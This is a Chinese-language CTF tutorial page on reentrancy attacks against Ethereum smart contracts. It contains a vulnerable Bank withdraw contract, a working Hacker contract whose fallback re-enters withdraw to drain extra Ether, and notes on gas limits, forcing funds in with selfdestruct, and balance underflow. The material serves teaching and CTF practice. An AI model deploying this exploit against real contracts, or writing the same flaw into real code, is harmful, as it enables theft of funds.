reentrancy
# Re-Entrancy
# 原理
原理如下图所示:
# Example
假设有一个银行合约实现了以下取款功能,在 balanceOf[msg.sender]
充足时,合约会转账相应数量的以太币给调用者,并且将 balanceOf
减去相应值:
contract Bank {
mapping(address => uint256) public balanceOf;
...
function withdraw(uint256 amount) public {
require(balanceOf[msg.sender] >= amount);
msg.sender.call.value(amount)();//这里会调用调用合约的fallback函数造成无限递归
balanceOf[msg.sender] -= amount;
}
}
1
2
3
4
5
6
7
8
9
2
3
4
5
6
7
8
9
这个实现的问题在于,“先给钱后记账”。在以太坊中,合约的调用者可以是另一个智能合约,转账时收款合约的 fallback 函数会被调用。若 fallback 函数内再一次调用了对方的 withdraw 函数,由于此时 balanceOf
尚未减少,require 的条件仍然满足,导致可以再次取款。需要注意的是,fallback 函数需要限制重入的次数,否则会因为无限地循环调用,导致 gas 不足。假设攻击合约的存款有 1 ether,可以如下实现取出 2 ether:
contract Hacker {
bool status = false;
Bank b;
constructor(address addr) public {
b = Bank(addr);
}
function hack() public {
b.withdraw(1 ether);
}
function() public payable {
if (!status) {
status = true;
b.withdraw(1 ether);
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
此外有几个注意点:
- 目标合约使用 call 发送以太币时,默认提供所有剩余 gas;call 操作改为对提款者合约的调用亦可实现攻击;但如果使用 transfer 或者 send 来发送以太币,只有 2300 gas 供攻击合约使用,是不足以完成重入攻击的。
- 执行重入攻击前,需要确认目标合约有足够的以太币来向我们多次转账。如果目标合约没有 payable 的 fallback 函数,则需要新建一个合约,通过
selfdestruct
自毁强制转账。 - 上述 fallback 实现中,先改写
status
后重入。如果反过来则还是会无限循环调用,这和重入漏洞的道理是一致的。
重入漏洞与整数下溢出漏洞关联密切。在上述攻击后,攻击合约的存款由 1 ether 变为 -1 ether。但注意到存款由 uint256 保存,负数实际上保存为一个极大的正数,后续攻击合约可以继续使用这个大数额的存款。
# 例题
- ethernaut Re-entrancy
# 参考资料
https://ctf-wiki.org/blockchain/ethereum/attacks/re-entrancy/
编辑 (opens new window)
上次更新: 2022/08/09, 14:57:22